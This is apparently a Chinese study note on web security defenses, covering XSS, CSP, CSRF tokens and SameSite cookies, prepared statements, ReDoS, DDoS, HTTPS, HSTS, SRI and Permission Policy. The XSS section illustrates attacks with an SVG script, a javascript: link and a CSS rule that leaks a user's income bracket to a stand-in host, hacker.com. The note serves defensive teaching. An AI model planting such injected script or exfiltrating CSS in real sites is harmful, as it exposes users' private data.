Web 开发安全 - 防御篇
这是我参与第五届青训营伴学笔记创作活动的第 6 天,记录了 Web 防御的一些常见手段。
一、针对XSS
- 永远不信任用户的提交内容
- 不要将用户提交内容直接转换成 DOM
现成工具
前端:
- 主流框架默认防御 XSS,例如React、Vue
- google-closure-library
服务端(Node):
- DOMPurify
但是,如果有特殊情况我们躲不开动态生成DOM,也就是必须动态生成DOM,怎么办呢?
- string -> DOM:一定要对字符串进行转义
- 上传svg:对svg文件进行一次扫描,因为按照规范,svg中可以插入<script>,进而完成XSS攻击
<svg>
<script>alert("xss");</script>
</svg>
- Blob 动态生成 script:尽量不要让用户自定义跳转链接,因为也可以嵌入js代码
const blob = new Blob(
[script],
{ type: "text/javascript"},
);
const url = new URL.createObjectURL(blob);
const script = document.createElement("script");
script.src = url;
- 自定义跳转链接
<a href="javascript:alert('xss')"></a>
- 自定义样式:假如income-gt10k类代表月收入10k
// 选中选项时,发送get请求,暴露数据
input[type=radio].income-gt10k:checked {
background: url("https://hacker.com/?income=gt10k")
}
二、Content Security Policy(CSP)(内容安全策略)
- 哪些源(域名)被认为是安全的
- 来自安全源的脚本可以执行,否则直接抛错
- 对 eval 和 inline script 拒绝
例:服务器的响应头部
Content-Security-Policy: script-src 'self' // 同源才可以
Content-Security-Policy: script-src 'self' http://domain.com // 除了同源又允许了一个网站
浏览器 meta
<meta http-equiv="Content-Security-Policy" content="script-src self">
三、CSRF的防御(跨站伪造请求的防御)
在Node中做好防御CSRF的中间件
1. Origin + Referrer
请求来源是异常来源,那么我们限制请求的来源不就可以限制伪造请求了吗?
- 通过判断Origin和Referer是否为同源来判断请求是否通过
- 在同源请求中,GET + HEAD 不发送Origin,因此Referer可能更常用
2. token
- 用户绑定:攻击者也可以是注册用户 === 可以获取自己的token,所以token必须和具体用户进行绑定,才能确保不会被其他的注册用户所利用
- 过期时间:必须要有过期时间,如果一直有效,那么一旦被窃取,就会被永久窃取
3. iframe攻击
用户点击button,由于button设置了CSS不能点击,从而点击iframe,万一触发iframe有请求,由于是同源请求并不会被拒绝,又完成了一次攻击
如果我们可以对服务器进行编码,就可以给每个页面设置响应头部:
X-Frame-Options: DENY/SAMEORIGIN
- DENY:当前页面不能被作为iframe进行加载
- SAMEORIGIN:必须是同源页面才可以访问该iframe
4. SameSite Cookie(避免用户信息被携带)
既然CSRF要利用用户权限,用户权限又在Cookie中,如果请求不带上Cookie,不就没有CSRF了吗?
我的页面的Cookie只能为我所用,其他页面的请求都不能带上我的Cookie,从根源上解决了CSRF。
- 域名A中所有 domain 是 A 的Cookie称为第一方 Cookie,也就是 SameSite Cookie
- 域名A中所有 domain 不是 A 的Cookie称为第三方 Cookie,也就是非 SameSite Cookie
- 当向域名A发送请求的时候,所有的第一方Cookie都可以被成功带上,所有的第三方Cookie都不会带给域名A对应的服务器
- SameSite Cookie限制的是:
- Cookie domain
- 页面域名是否匹配
虽然解决了问题,但是如果网站确实依赖 Cookie 的第三方服务怎么办?
-
比如内嵌一个 X 站播放器,识别不了用户登录态,发不了弹幕
-
应对方式:Set-Cookie: SameSite=None; Secure;
- SameSite=None 代表Cookie将在所有上下文中发送,允许跨站发送,不对SameSite进行控制
- Secure 确保 Cookie 是安全的
5. SameSite 和 CORS 的区别
SameSite | CORS |
---|---|
Cookie 发送 | 资源读写(HTTP请求) |
domain vs 页面域名 | 资源域名 vs 页面域名 |
“出这屋我可就不忍了”,只在当前页面有效 | “白名单” |
四、Injection防御
1. SQL注入攻击防御
- 找到项目中查询 SQL 的地方
- 使用 prepared statement(数据库本身也推荐这种写法)
PREPARE q FROM 'SELECT user FROM users WHERE gender = ?';
SET @gender = 'female';
EXECUTE q USING @gender;
DEALLOCATE PREPARE q;
2. 其他注入攻击
- 最小权限原则
- 所有的命令都不要通过 sudo 来执行,不要给 root 权限
- 建立允许名单 + 过滤(白名单机制)
- 只允许指定命令去执行,rm这种高危操作果断拒绝
- 对 URL 类型参数进行协议、域名、ip等限制
- 避免攻击者访问内网资源
五、Reges Dos(正则表达式占用服务器防御)
- 完善代码回溯的工作,避免写出贪婪匹配的方式,特别在接口处理相关操作中
- 使用代码扫描工具去扫描整个代码仓库中的正则表达式,进行规整与改进
- 禁止使用用户提供的正则表达式
六、DDoS(大量僵尸设备的请求)
- 流量治理
- 负载均衡(过滤)
- API网关(过滤)
- CDN(抗量)
- 快速自动扩容(抗量)
- 非核心服务降级,流出更多资源用于处理(抗量)
七、传输层——防御中间人
HTTPS: HTTP over TLS,是一种在加密信道进行 HTTP 内容传输的协议。 TLS 的早期版本叫做 SSL
HTTP3(QUIC)内置了TLS 1.3
HTTPS的一些特性
- 可靠性:加密,避免了明文传输
- 完整性:MAC验证,确保了信息不会被篡改
- 不可依赖性:数字签名,确保了双方身份是可以被信任的
HTTPS完整性
所有传输的信息除了加密外,还会给传输信息一个哈希值,接收方再调用哈希函数判断信息是否被篡改。
数字签名
有一个签名执行者,签名执行者有一对公钥和私钥
- privateKey(私钥,自己藏好)
- publicKey(公钥,公开可见)
数字签名的过程就是签名执行者使用私钥对一些指定内容进行数学计算,生成签名,凡是具备对应公钥的人可以用公钥与生成的签名进行一次校验,如果确实匹配,校验就会通过,否则不通过。
HTTPS不可抵赖:数字签名
CA:Certificate Authority
证书机构,负责数字证书的分发
服务提供方将元信息和公钥合并成一对信息,使用CA提供的私钥进行签名,生成真正的服务器端保存的证书。这个证书传递给浏览器层,浏览器用CA提供的公钥对证书进行校验,校验通过说明证书合法,证书签发者可信
那么浏览器侧如何有CA的公钥呢?
每一个主流的浏览器都会内置大量CA签发的证书,这些证书里就会包含CA的公钥
既然证书这么重要,那么证书一旦被破解,我们的Web又不安全了
好在现在的签名算法十分复杂,单一攻击者极难破解,我们的Web安全又有了保障
八、HTTP Strict-Transport-Security(HSTS)
如何将HTTP主动升级到HTTPS呢?
- 首先,浏览器侧向服务器发送一个https的请求
- 服务器收到请求后,会返回一个Strict-Transport-Security头部,后面的max-age表明在该时间内,如果浏览器再次发送http请求,会自动升级为https请求,确保了之后不会因为用户手动输入http造成潜在的中间人攻击
- 缺点:一定要先有一次https请求
九、Subresource Integrity(SRI)
前端工程开发经常把很多静态资源放到CDN,如果CDN被攻击者攻陷导致静态文件被篡改,怎么办呢
标签hash(原始内容hash) vs 实际内容hash,通过对比哈希值
integrity属性表明摘要值的算法以及具体的摘要值,浏览器请求时检查哈希值是否一样判断资源是否被篡改
<script src="xx.js"
integrity="sha384-{some-hash-value}"
crossorigin="anonymous">
</script>
const remoteHash = hash(content);
if (tagHash !== remoteHash){// 被篡改
throw new Error("wrong hash");
}
十、Feature Policy/Permission Policy
两个Http响应头,规定一个源(页面)下,可以使用哪些功能
- camera
- microphone
- autoplay
如果是<iframe>标签,可以通过allow属性规定可以使用哪些功能
<iframe allow="xxx" />
十一、参考
- 字节录播课 - 《Web 开发安全 - 防御篇》